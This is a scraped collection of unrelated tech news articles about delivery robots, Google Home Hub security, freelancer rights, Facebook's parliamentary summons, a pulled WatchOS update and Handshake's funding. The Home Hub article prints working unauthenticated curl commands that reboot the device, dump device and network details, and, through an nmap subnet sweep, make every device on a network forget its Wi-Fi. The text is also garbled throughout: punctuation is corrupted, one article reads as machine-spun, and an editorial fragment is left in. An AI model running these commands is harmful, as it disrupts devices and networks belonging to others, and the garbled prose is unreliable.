Starship is using self-driving robots to deliver packages on demand

Soon, the days of package theft will be behind us. For people living in the U.K. town of Milton Keynes, that day is today. Thatthanks to autonomous robot startup Starship Technologies .

Starshipon-demand package delivery requires you to first install the app to receive a delivery address to go in the place of your home address, or wherever else you usually get packages delivered. That Starship-provided delivery address is where the companylocal facility is located. Once your package arrives there, the app will notify you and enable you to request a Starship bot to deliver it to you, wherever you are. Through the app, you can also track where your package is at all times.

Starship delivers to homes within a two-mile radius but has plans to expand its service area to make farther deliveries. The company says the battery is not a limitation, but that it merely wants wait time to be as short as possible.

By the end of the year, Starship aims for the service to be available to residents in the San Francisco Bay Area. Pricing has yet to be determined in the U.S., but in the U.K., Starship offers the first month for free and then £7.99 per month for an unlimited number of package deliveries.

&The hassle of needing to re-arrange your life for a delivery will become a thing of the past. No more having to switch your working from home day, reschedule meetings, visit a locker, drive to a post office or contact a courier all because of a missed delivery. Starship gets packages to consumers when and where they want them. This is the only service of its kind available in the world today, and it works around your lifestyle.&

A few months ago, Starship raised $25 millionfrom Matrix Partners and Morpheus Ventures. New investors include Airbnb co-founder Nathan Blecharczyk, Skype founding engineer Jaan Tallinn and others. Starship has raised $42.2 million in total.

Starship has previously partnered with on-demand food delivery companies like DoorDash and Postmates to test out its robot delivery service. Last January,Starship partnered with the companies mentioned abovefor a pilot program in Redwood City, Calif. and Washington, D.C. To date, Starship robots have traveled more than 125,000 miles in 20 countries, across 100 cities.

Write comment (99 Comments)

Security advocate Jerry Gamblin has posted a set of instructions — essentially basic lines of XML — that can easily pull important information off the Google Home Hub and, in some cases, temporarily brick the device.

The Home Hub, which is essentially an Android tablet attached to a speaker, is designed to act as an in-room Google Assistant. This means it connects to Wi-Fi (and allows you to see open Wi-Fi access points near the device), receives video and photos from other devices (and broadcasts its pin) and accepts commands remotely (including a quick reboot via the command line).

The command — which consists of a simple URL call via the command line — is clearly part of the setup process. You can try this at home if you replace &hub& with the Home Hublocal IP address:

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' https://hub:8008/setup/reboot

Other one-liners expose further data, including a number of micro services:

$ curl -s https://hub:8008/setup/eureka_info | jq { "bssid": "cc:be:59:8c:11:8b", "build_version": "136769", "cast_build_revision": "1.35.136769", "closed_caption": {}, "connected": true, "ethernet_connected": false, "has_update": false, "hotspot_bssid": "FA:8F:CA:9C:AA:11", "ip_address": "192.168.1.1", "locale": "en-US", "location": { "country_code": "US", "latitude": 255, "longitude": 255 }, "mac_address": "11:A1:1A:11:AA:11", "name": "Hub Display", "noise_level": -94, "opencast_pin_code": "1111", "opt_in": { "crash": true, "opencast": true, "stats": true }, "public_key": "Removed", "release_track": "stable-channel", "setup_state": 60, "setup_stats": { "historically_succeeded": true, "num_check_connectivity": 0, "num_connect_wifi": 0, "num_connected_wifi_not_saved": 0, "num_initial_eureka_info": 0, "num_obtain_ip": 0 }, "signal_level": -60, "ssdp_udn": "11111111-adac-2b60-2102-11111aa111a", "ssid": "SSID", "time_format": 2, "timezone": "America/Chicago", "tos_accepted": true, "uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a", "uptime": 25244.52, "version": 9, "wpa_configured": true, "wpa_id": 0, "wpa_state": 10 }

Finally, this line causes all devices on your network to forget their Wi-Fi, forcing you to reenter the setup process:

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' https://%:8008/setup/forget_wifi

As Gamblin notes, these holes aren&t showstoppers, but they are very alarming. Allowing unauthenticated access to these services is lazy at best, and dangerous at worst. He also notes that these endpoints have been open for years on various Google devices, which means this is a regular part of the code base and not considered an exploit by Google.

Again, nothing here is mission critical — no Home Hub will ever save my life — but it would be nice to know that devices based on the platform have some modicum of security, even in the form of authentication or obfuscation. Today we can reboot Grandpaovercomplicated picture frame with a single line of code, but tomorrow we may be able to reboot Grandpaoxygen concentrator.

Write comment (90 Comments)

Gig workers, freelancers, sharing economy workers — call them what you want to, but the millions who drive you around in Lyfts, drop off your Seamless delivery or work on piecemeal projects from home have become a staple of the American workforce — and their numbers are only set to grow.

A report out today says 56.7 million Americans worked as freelancers in the last year. That is more than 1 out of 3 of the entire labor force.

For full-time employees, a whole array of protections exist to make sure they get paid, are not discriminated against and retain some income if they lose their jobs. From federal employment laws to state laws and city ordinances, employees have recourse for wrongdoing by employers. But for the fast-growing segment of Americans working as freelancers, little to no legal protections exist.

Thatbeginning to change. From a modern take on labor unions in the shape of the Freelancers Union to legal tech startups trying to provide freelancers with simple and accessible contracts that protect their rights, freelancer protections are slowly catching up to theincredible growth that the gig economy has seen over the past few years.

Who is freelancing

TheFreelancing in America study published today provides a window into whodoing all the gig jobs. Jointly commissioned by the Freelancers Union, which has more than 400,000 members nationwide, and Upwork, the largest freelancing website, the study is now in its fifth edition.

It found that freelancers live all across the United States, more than 40 percent of them are younger than 35 and almost two-thirds of them found their work online. At the current rate of growth, we can expect the majority of the U.S. workforce to freelance within less than a decade.

For the most part, the study found that freelancers are content with their work. More than half of those surveyed said that no amount of money would get them to take a traditional job. Compared to non-freelancers, freelancers have a better work/life balance and more control over their schedule, resulting in less stress and better health.

Yet, unlike their traditional full-time counterparts, freelancers disproportionately worry about whether they&re going to get paid for the work they complete, and how they can pursue claims for payment if they don&t. Nearly 70 percent of freelancers have struggled to collect payment for work they&d completed.

Protecting freelancers

This is where organizations like the Freelancers Union come in. Unlike traditional unions, membership in the Freelancers Union is free — with grants from various donors and fees from offering insurance plans covering the Unioncosts. While membership in traditional private-sector unions peaked in the 1970s and has been in a steady decline since, the Freelancers Union has seen steady growth since it was founded in 1995, and is currently growing at a rate of 1,000 new members a week.

Caitlin Pearce, the unionExecutive Director, tells me that freelancers deal with a fundamental power imbalance. With less than a fourth of them using a contract to protect their rights, they are often left at the mercy of the employer. &Freelancers are basically cut off from all the workplace protections that have become commonplace,& she explained.

In response to the concerns of its members, the Union has been advocating for timely payment by employers, access to affordable health care and more income predictability.

Last year, the Union led a successful advocacy drive to pass the &Freelance Isn&t Free Act& by the New York city council. Under this act, businesses hiring freelancers in New York City are required to use a contract, must pay within 30 days of the work being complete and freelancers can file a claim with the city to resolve issues they have with businesses. If the claim is successful, then businesses have to pay freelancers double the damages, in addition to the freelancerattorney fees.

Serious challenges remain. Even the act itself can&t protect workers who work remotely from as close as New Jersey for businesses based in New York. Effective protections need state and federal-level laws, but Pearce says that even within New York state they found little appetite for legislation to protect freelancers& rights.

For now, the Freelancers Union is doubling down on their municipal strategy, advocating for other cities where many freelancers are based to adopt ordinances similar to the one passed in New York.

Pearce says they&ve started to gain traction in Philadelphia and Madison, and are using the New York campaign as a model. New York showed the Union the widespread support they can galvanize for freelancer rights. From traditional labor unions to WeWork and Kickstarter, a wide range of groups came together to support passing the act. In the end, it passed unanimously, with all 51 New York City council members, including three Republicans, supporting it.

&Itjust a common sense law; if you do work you deserve to be paid,& stresses Pearce. The hope now is that same common sense can prevail in other cities, states and eventually federally.

The startup approach

Protections for freelancers are not only coming from union-like organizations. Some legal tech startups are working to provide more affordable contract services directed specifically at freelancers and small businesses.

Gina Pak and Liam Moriarty met during their time at Columbia Law School, and at first followed the typical attorney route of working for high-powered New York law firms. But a few years into their law careers, they both quit their jobs, packed up their Upper West Side apartment and moved out to Los Angeles to co-found Lawgood.

Pak and Moriarty had found that bad contracts in the U.S. were giving rise to more than 12 million lawsuits every year, costing the national economy more than $600 billion. Freelancers and small businesses can&t afford attorney fees, and so choose to write their own risky contracts, or go without a contract at all, leading to lawsuits when things inevitably go awry.

Instead,Lawgoodprovides an online service, where freelancers and businesses can upload any contract they have questions about and get feedback for a fraction of the cost of hiring an attorney.

Then, the companysystem combines a network of carefully vetted lawyers with artificial intelligence technology designed to detect potential problems in the contract. Each user gets a marked-up contract that provides notices of potential issues, simplified explanations of complex wording and suggestions on how to negotiate.

Pak tells me that as things currently stand, &laws are just inadequate when it comes to protecting freelancers and are not keeping up with the times.& A well-drafted contract can protect both the freelancer and the company that hires them. But in her experience, even the word &contract& has a bad rep. &Ita pain point that people just don&t want to go through, and some freelancers are even hesitant to ask for a contract because they don&t want to signal a lack of trust in the person hiring them.&

This means that forLawgood, apart from enabling freelancers to get affordable, easy to understand contracts, they have to advocate for behavior change. They have to convince freelancers that contracts are one of the most effective communication tools if written well. &Don&t think of it as distrust,& encourages Pak, &but a tool for both sides to succeed and be clear on expectations.&

What does the future hold for supporting freelancers& rights

While organizations like the Freelancers Union and startups like Lawgood offer some hope for freelancers, itclear that more national-level protections are needed to make sure freelancers aren&t taken advantage of.

In that sense, theFreelancing in America study offers some important clues as to why politicians everywhere should be paying more attention to freelancers. Apart from the fact that they already represent more than 1 out of 3 American workers, the study showed that freelancers are 19 points more politically active than non-freelancers.

Even more strikingly, a whopping 72 percent of freelancers said they&d be willing to cross party lines to vote for candidates who support freelancers& rights.

Pearce says one of the best outcomes from publishing the study is quantifying the number of freelancers, a loose and dispersed constituency that had not been properly counted before. The hope now is that their size, level of political engagement and willingness to cross party lines will lead to politicians takingon their cause and eventually passing legislation protecting their rights. Until that happens, freelancers should push for contracts that protect them and join groups like Freelancers Union to amplify their voices.

Write comment (93 Comments)

Two separate parliamentary committees, in the UK and Canada, have released an unmatched international joint summons for Facebook CEO Mark Zuckerberg to appear before them. The committees are investigating the effect of online disinformation on democratic processes and want Zuckerberg to address concerns connected to theCambridge Analytica-Facebook user data abuse scandal, which both have been penetrating this year. More broadly, they are also seeking higher detail about Facebookdigital policies and info governance practices —-- not least, due to fresh information breaches —-- as they continue to investigate the democratic impacts and financial rewards connected to the spread of online disinformation via social media platforms. In a letter sent to the Facebook creator today, the chairs of the UKDigital, Culture, Media and Sport (DCMS) committee andthe Canadian Standing Committee on Access to Information, Privacy and Ethics (SCAIPE), Damian Collins and Bob Zimmer respectively, compose that they plan to hold a & special joint parliamentary hearing at the Westminster Parliament &, on November 27 —-- to form an &‘& lsquo; global grand committee & on disinformation and fake news &. & This will be led by ourselves however a variety of other parliaments are likely to be represented, & they continue. & No such joint hearing has ever been held. Provided your self-declared goal to & fix & Facebook, and to prevent the platformmalign usage in world affairs and democratic procedure, we wish to give you the possibility to appear at this hearing. &. Both committees say they will be issuing their last reports into online disinformation by the end of December. The DCMS committee has currently put out a preliminary report this summer, following a variety of hearings with business representatives and information professionals, in which it required immediate action from federal government to combat online disinformation and safeguard democracy —-- including suggesting it look at a levy on social networks platforms to fund curricula in digital literacy. Although the UK federal government has so far declined to take on the bulk of the committeerecommendations —-- apparently choosing a ‘& lsquo; wait and gather evidence &( and/or ‘& lsquo; kick a politically charged problem into the long lawn &) method. Canadainterest in the democratic damage triggered by so-called ‘& lsquo; phony news & has actually been honed by AIQ, the information business connected to Cambridge Analytica, as one of its data handlers and system developers —-- and explained by CA whistleblower Chris Wylie as essentially a department of his former company —-- being located on its soil. The SCAIPE committee has actually already held numerous, excoriating sessions questioning executives from AIQ, which have been watched with close interest by a minimum of some lawmakers across the Atlantic & hellip;. NOT TO BE MISSED & We'll produce a video highlights (lowlights) thread later on of AIQ's efficiency today at the Canadian Parliament, but here's a flavour & hellip; prepare to be surprised! pic.twitter.com/Phl6KFnySK. —-- Brexitshambles (@brexit_sham) April 24, 2018. In the process of cutting the session down into 'Tweetable' clips & here's a fast cup you may discover interesting & hellip; & hellip;. Well played Canada & and @DamianCollins and Liz Denham @ICOnews #AIQ #SCL #CambridgeAnalytica #VoteLeave #Brexit pic.twitter.com/jW27f8l7V4. —-- Brexitshambles (@brexit_sham) April 24, 2018. At the very same time the DCMS committee has attempted andfailed repeatedly to get FacebookCEO before it throughout the course of its multi-month inquiry into online disinformation.Instead Facebook despatched a number of less senior staffers, culminating withits CTO—-- MikeSchroepfer —-- who spent around 5 hours being roasted by visibly irritated committee members. And whose responses left it still dissatisfied. As political issue about election interference has stepped up steeply this year, Zuckerberg has actually participated in sessions in the US Senate and House in April—-- to deal with (but not necessarily address) policymakers & concerns. He likewise appeared before a meeting of the EU parliamentcouncil of presidents —-- where he was heckled for evading MEPs & particular issues. The UK parliament has been consistently snubbed. At the last, the DCMS committee resorted to stating it would release Zuckerberg with a formal summons the next time he stepped on UK soil (and naturally he hasn & t). They & re now attempting a different tack —-- in the form of a grand union of international legislators. From 2 —-- and potentially more —-- nations. While the chairs of the UK and Canadian committees say they comprehend Zuckerberg can not make himself offered & to all parliaments & they argue Facebookusers in other countries & require a line of responsibility to your organisation —-- straight, by means of yourself &, adding: & We would have thought that this duty is something that you would want to take up. We both plan to provide last reports on this concern by the end of this December, 2018. The hearing of your evidence is now overdue, and urgent. &. & We contact you to use up this historical opportunity to tell parliamentarians from both sides of the Atlantic and beyond about the measures Facebook is taking to stop the spread of disinformation on your platform, and to secure user data, & they also write. So far however, where non-domestic legislators are worried, itonly been chosen agents of the European Union 28 Member States who have actually shown to have adequate collective political influence and pulling power to protect a little facetime with Zuckerberg. So another Facebook snub seems the most likely action to the latest summons. & We & ve gotten the committeeletter and will respond to Mr Collins by his deadline, & a Facebook spokesperson told us when asked whether it would be despatching Zuckerberg this time. The committee has actually given Facebook till November 7 to reply. Maybe the business will send its new worldwide policy chief, Nick Clegg—-- who would at least be an all-too familiar face toWestminster lawmakers, having actually formerly worked as the UKdeputy PM. Even if Collins et allatest gambit still doesn & t net them Zuckerberg, the global coalition approach the two committees are now taking is interesting, provided the obstacles for lots of federal governments of regulating worldwide platforms like Facebook whose user bases can scale bigger than some whole nations. If the committees were to hire legislators from extra nations to their joint hearing —-- Myanmar, for instance, where Facebookplatform has been implicated of speeding up ethnic violence —-- such an invitation might be rather harder for Zuckerberg to overlook. Facebook does claim: & We are accountable. & And Zuckerberg is its CEO. (Though it does not state who precisely Facebook/Zuckerberg feels liable to.). While forming a joint global committee is a brand-new technique, UK and Canadian lawmakers and regulative bodies have actually been working together for numerous months now —-- as part of their particular queries and examinations, and as they & ve sought to unpick complicated data routes and understand multinational business structures. Something is increasingly clear when taking a look at the tangled web where politics and social networks clash (with mass opinion manipulation the intended result): The interconnected, cross-border nature of the Internet, when fit together with well-funded digital political marketing —-- and indeed buckets of individual information, is now positioning huge stress on traditional legal structures at the nation-state level. National election laws reliant on controling things like campaign costs and joint working, as the UKlaws are supposed to, merely won & t work unless you can in fact follow the money and really map the relationships. And where usage of individual information for online political ad-targeting is worried, ethics need to be front and center —-- as the UKdata guard dog has warned.

Write comment (91 Comments)
Apple pulls WatchOS 5.1 update after it bricked some Apple Watches

PSA: If you&re an Apple Watch owner who is having trouble finding the shiny new WatchOS 5.1 update that Apple just shipped, it isn&t quite ready yet.

Apple initially shipped the update on Tuesday alongsideiOS 12.1,but it quickly pulled it hours later following reports that it bricked some Series 4 watches. A number of customers affected took to Reddit and Twitter to warn of the issues, which were first reported by 9to5Macand caused some watches to be stuck on the loading screen.

The update is no longer available, but Apple told those who did download it and now have bricked a watch that it is working on a fix that&ll ship as soon as possible.

&Due to a small number of Apple Watch customers experiencing an issue while installing watchOS 5.1 today, we&ve pulled back the software update as a precaution,& it said in a statement. &Any customers impacted should contact AppleCare, but no action is required if the update installed successfully. We are working on a fix for an upcoming software update.&

The Watch drama comes less than 24 hours after Apple unveiled a new and larger version of the iPad Proand a revamped MacBook Air model at an event in New York. Other goodies revealed included a new Mac Mini, a magnetic Apple Pencilandan expansion to its &Today at Apple& program. Next up is the companyearnings on Thursday, although affected Watch owners will hope that the patched WatchOS update arrives sooner.

Update: The original version of this article has been updated because this is WatchOS 5.1 not 4.1. Thanks to everyone who wrote in; I&m clearly living in the past — apologies for any confusion.

Write comment (94 Comments)

LinkedIn has created and — with 562 million users — leads the market in social platforms for people who want to network with others in their professions, and look for jobs. Now a startup that hopes to take it on in a specific niche — university students and recent grads, with a focus on diversity and inclusion — has raised a substantial round to grow. Handshake, a platform for both students looking to take their early career steps and employers who want to reach them, has raised $40 million in a Series C round of funding, after hitting 14 million users in the U.S. across 700 universities, and 300,000 employers targeting them.

The company is now valued at $275 million post-money, according to figures from PitchBook, a big leap on its valuation at the Series B stage two years ago, when it was valued at $108 million. Handshake says the number is not quite right: &While we don&t disclose valuation, I wanted to share that the Pitchbook number isn&t accurate.& I&m trying to get more…

The funding is notable not just for that valuation hike — and the implication that many think it could give Microsoft-owned LinkedIn a run for its money among 20-somethings — but for who is doing the backing.

The round was led by EQT Ventures, the investment arm of European holding company and PE firm EQT, with participation also from several investment organizations that have put a focus on backing interesting startups in the education sphere, including the Chan Zuckerberg Initiative, Omidyar Network, Reach Capital; as well asTrue Ventures, Kleiner Perkins, Lightspeed Venture Partners, Spark Capital and KPCB Edge. Several of these are repeat investors and the total raised by Handshake — not to be confused with the B2B e-commerce platform of the same name — to $74 million.

To date, Handshake has only been active in the U.S. The company was founded in 2014 originally named Stryder by three graduates of Michigan Tech UniversityUniversity of Michigan — Garrett Lord (currently the CEO), Scott Ringwelski (CTO) and Ben Christensen (a board member). The plan is to use the new funding to expand into more markets like Europe, using EQTnetwork of businesses in the region to help it along.

LinkedIn has been making a lot of efforts over the years to court younger users and bring them into the LinkedIn fold earlier.

In 2013, the company lowered its minimum age for users to 13 and launched dedicated pages for universities. In 2014, LinkedIn started to add in more tools for younger users to connect with universities and their university-related networks on the platform. And through various e-learning efforts, LinkedIn has been trying to create a bridge between the kind of learning you might do at university, and what you might do after you leave to further your career.

The behemoth also started to take baby steps into providing more insights into diversity for those doing hiring, by letting recruiters examine search results by gender; and by providing bigger insights into the wider pool of people on LinkedIn.

Part of the reason for the baby steps, I&m guessing, is that LinkedIn simply lacks the data from its users to do more faster, and so that leaves a lot of room for a rival to step in.

In that vein, it seems Handshake is trying to position itself as a platform that is considering and thinking about how to address diversity from the ground up, as a native part of its platform while it is still small and growing.

One of the ways that Handshake gets more details about its members is through its partnerships with universities, which helps to populate information about their profiles, rather than relying on a person filling out the details manually. (To register for an account, you use your university address, similar to how Facebook worked when it first launched.)

Handshake also has relationships with more than 100 minority-serving institutions, which include Historically Black Colleges and Universities, and Hispanic Serving Institutions in the U.S., to bring them and their students more closely into that fold.

On the side of employers, it includes more search features for recruiters to search using more specific parameters in the effort to make more diverse hiring choices. &Candidates who might not have the right connections or privileged background can get in front of Fortune 500 companies,& the company notes.

&Our Handshake community is tackling the so-called ‘pipeline problem& head on. Skilled students are on every campus in every corner of the country and we&re proud to help employers discover, recruit and hire up-and-coming talent from all backgrounds,& said Garrett Lord, Handshake Co-Founder and CEO, in a statement. &Students around the world experience the same inequality in the recruiting process, so we&re excited to partner with Alastair Mitchell& — the EQT partner leading the investment — &and EQT Ventures to expand our impact beyond the United States.&

Thatnot to say that inclusion and diversity are the only issues that Handshake is tackling.

The company cites a 2018 Strada-Burning Glass Studythat says more than 43 percent of graduates are underemployed — either not earning their full potential, or doing a job that doesn&t utilise their skills — in their first job out of college . &Of those who graduate underemployed, 50% remain underemployed 10 years after graduation.& There is, in other words, a big employment gap specifically with recent grads, and while many will land plumpositions, many others flail, and the idea is that Handshake will helpspecifically to address that byimprovinghow well people are matched to positionsthat are open.

This is, in fact, an interesting counterpoint to the fact that we also have a lot of ageism in certain fields, where older people are often overlooked — perhaps another niche market that is ripe for tackling

Handshake today makes money much in the same way thatLinkedIn does: it offers paid usage tiers for its users to unlock more features. In the startupcase, a Premium employer tier called theTalent Engagement Suitewas recently launched to let organizations search by diversity parameters and other more specific criteria.That appearsto be thepath that Handshake plans to follow going ahead, doubling its team to 200 with more people in product and engineering roles to build outmore analytics and search and recommendationsalgorithms.

Italso making some key hires for the next age.Christine Y. Cruzvergara, ex-Associate Provost and Executive Director for Career Education at Wellesley College, is joining as VP of Higher Education and Student Success, to work with institutions precisely on more inclusive initiatives and products.

&CZI is thrilled to support Handshake as it connects talented students to career opportunities that enable them to reach their full potential,& said Vivian Wu, Managing Partner of Ventures at the Chan Zuckerberg Initiative, in a statement. &Handshakeapproach & expanding access, building student community and support, and showcasing accomplishments beyond college and degree & produces real results, especially for young people from communities that haven&t had access to high quality job and life opportunities.&

Updated to correct the name of the university that the three founders attended.

Write comment (97 Comments)